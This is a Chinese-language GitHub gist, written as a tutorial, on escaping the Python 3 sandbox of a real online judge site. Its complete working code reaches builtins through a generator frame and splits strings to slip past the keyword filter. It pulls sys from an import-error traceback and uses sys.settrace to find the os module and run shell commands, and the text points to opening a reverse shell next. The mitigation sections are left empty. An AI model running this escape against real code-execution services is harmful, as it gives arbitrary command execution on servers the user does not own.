Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save galaxy001/d1b3919b6cb9f28d513a12f48df21c02 to your computer and use it in GitHub Desktop.
Save galaxy001/d1b3919b6cb9f28d513a12f48df21c02 to your computer and use it in GitHub Desktop.
如何使用python3逃逸沙箱,获得进程上下文权限提升

如何使用python3逃逸沙箱,获得进程上下文权限提升

最近突发奇想,想对所掌握的python知识进行总结一下,目前其实还停留在python层面如何使用,还没有深入到虚拟机部分,如果下面有哪些错误,欢迎指出。

背景

OJ(Online judge, 在线编程测评提交代码到后台运行检查)网站一般都允许各种各样的代码提交,其中很有可能包含python3,于是决定尝试通过python3的代码执行,进行沙箱逃逸,以及绕过各种限制。

我随便找了一个OJ网站,这个站点的python3有如下限制

  • 代码字面量不能出现一些敏感词,例如open, os, read, globals, locals, vars, raise, getattr, exec, eval, compile, 等...
  • 模块黑名单,无法通过任何方式导入os, sys, gc等以及包含了他们的模块的模块(如inspect就包含了sys,所以也不能导入)
  • 以及一些非常变态的,不允许出现连续的两个下划线 __
  • 没有任何输出反馈,也就是print没作用

基本前提

在以上的限制下

  • 也就是几乎没有能导入的模块了,有少部分可以但也没法用
  • 没有局部变量列表,没有全局变量列表
  • 但是可以import marshal但这对于破解不是必须的

我决定给自己增加一点难度,因为其实虽然看不到globals,但是python3.5之后又自己的loader机制,所以全局变量里默认是有__loader__这个的,可以通过这个来进入到_imp模块内部

  • 不通过任何import语句获得模块
  • 不使用全局变量里的sys, __loader__(怀疑是忘记去掉了)

开始

目标: 获得当前进程的shell

整个步骤大致如下

  1. 尝试code object
  2. 获得frame object
  3. 获得builtins,获得getattr, open, __import__等关键函数
  4. 如何输出信息?
  5. 产生os或sys相关的error,获取traceback对象,获取tb_frame,获取f_locals,获取sys模块
  6. 使用sys.settrace,寻找os模块
  7. 使用os.system

尝试code object

要获得shell,很自然想到os.system(), subprocess.*, 那么如何拿到os?本来想通过code object的成员找到引用,但是突然意识到code并不是runtime,必须还得有execeval,而这两个目前只能用字面量获得,字面量有敏感词限制。

核心的思路还是通过非字面量获得对象,那么在哪里能通过非字面量对象获取对象?自然想到了frame object

获得frame object

以下是python3里所有可以获得frame对象的地方

  • sys.settrace(lambda frame, ...)
  • threading.settrace(lambda frame, ...)
  • sys._getframe(0)
  • <generator>.gi_frame
  • <coroutine>.cr_grame
  • traceback.TracebackException

显然只有generator和coroutine不需要额外导入模块,以generator为例,python3里有各种各样的generator的

  • g = (_ for _ in ())
  • def _(): yield; g = _()

然后

>>> g
<generator object func at 0x1016c1f48>
>>> g.gi_frame
<frame at 0x1017d9048, file '<stdin>', line 1, code func>

获得builtins,获得getattr, open, __import__等关键函数

builtins = g.gi_frame.f_builtins
ex_ec = builtins['ex''ec']  # 用字符串拼接绕开字面量敏感词
ga = builtins['get''attr']
ip = builtins['_''_im''port_''_']
op = builtins['op''en']

>>> ex_ec
<built-in function exec>

到此为止,我们已经得到了exec, getattr, __import__, open,这几个关键函数可以解除很多限制

  • exec: 执行任意代码
  • getattr: 读取对象任意属性
  • open: 读取文件系统

如何输出信息?

由于没有屏蔽报错信息,所以可以通过traceback信息看反馈

# 假设下面是要打印的变量
v = ...

# 下面调用会报KeyError
_ = {}
_[v]

产生os或sys相关的error,获取traceback对象,获取tb_frame,获取f_locals,获取sys模块

正好由于import一个被禁用的模块会报错,那我们在捕捉这个报错的时候就能拿到exception object,通过此对象可获得tb object,进一步获得tb_frame,由于是import相关的逻辑,内部一定存在sys模块,如果没有,那么顺着帧栈往上找(f_back)

try:
    import gc
except Exception as e:
    tb_frame = ga(e, '_''_traceback_''_').tb_frame
    f_loc_als = ga(tb_frame, 'f_loc''als')
    _s_y_s_ = f_loc_als['s''ys']  # 多数情况下都有,没有的话就在f_back里找,总会找到
    _s_y_s_.settrace(tracefunc)

使用sys.settrace,寻找os模块

有了sys模块,那就可以做更多的事情了,已知sys.modules里相关模块已经被去除,所以换其他办法,可以通过settrace来跟踪每一个调用,settrace本来是用作profile分析的,这个方法接受一个回调函数,python每执行一行代码、或每进入一个新函数栈都会回调一次传入的回调函数,非常暴力。

tracefunc实现很暴力也很简单,这里就直接对每一帧的globals和locals里的所有对象进行扫描判断,一旦执行到os模块相关的代码,立即会捕捉到os模块,然后也别等了,直接调用相关方法

def shell(mod):
    return ga(mod, 'sy''stem')

def safe_repr(v):
    try:
        return repr(v)
    except:
        return ''

def make_tb_text(v):
    _ = {}
    _[v]

def tracefunc(frame, event, arg):
    if event == 'call':
        f_loc_als = ga(frame, 'f_loc''als')
        f_glo_bals = ga(frame, 'f_glo''bals')
        for scope in (f_loc_als, f_glo_bals):
            for k, v in scope.items():
                if "module 'o""s'" in safe_repr(v):
                    #make_tb_text(v)
                    shell(v)('ls')   # 这里以ls为例
                    return

# 租后随便import一个os相关的模块,触发上面tracefunc
import gc

使用os.system

上面的代码其实已经写出了os.system的调用,到此为止已经可以执行任意的shell了,可以直接起一个后台进程连到某远程服务器,开启一个反弹shell。

完整code

# coding=utf-8


def func(): yield
g = func()
builtins = g.gi_frame.f_builtins
ga = builtins['get''attr']
op = builtins['op''en']
ex = builtins['ex''ec']
ip = builtins['_''_import_''_']
ld = builtins['_''_loader_''_']


def shell(mod):
    return ga(mod, 'sy''stem')

def safe_repr(v):
    try:
        return repr(v)
    except:
        return ''

def make_tb_text(v):
    _ = {}
    _[v]

def tracefunc(frame, event, arg):
    if event == 'call':
        f_loc_als = ga(frame, 'f_loc''als')
        f_glo_bals = ga(frame, 'f_glo''bals')
        for scope in (f_loc_als, f_glo_bals):
            for k, v in scope.items():
                if "module 'o""s'" in safe_repr(v):
                    #make_tb_text(v)
                    shell(v)('ls')
                    return

try:
    o = ip('o''s')
except Exception as e:
    tb_frame = ga(e, '_''_traceback_''_').tb_frame
    f_loc_als = ga(tb_frame, 'f_loc''als')
    _s_y_s_ = f_loc_als['s''ys']
    _s_y_s_.settrace(tracefunc)
 
import gc

简单总结

整个过程其实没有用到exec,其实也用不到,也没有通过修改importlib里的函数来绕过loader的限制,可能importlib里直接改loader就行了,但是由于我不熟悉importlib的使用,所以没往这方面尝试。

另外由于始终避免不了少量的字面量代码,如.gi_frame,如果这个被设为敏感词,那么以上方法将全部失效。

最后请大家不要模仿,这不是个学习python的正确途径

此OJ网站问题根源

// TODO

如何避免

// TODO

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment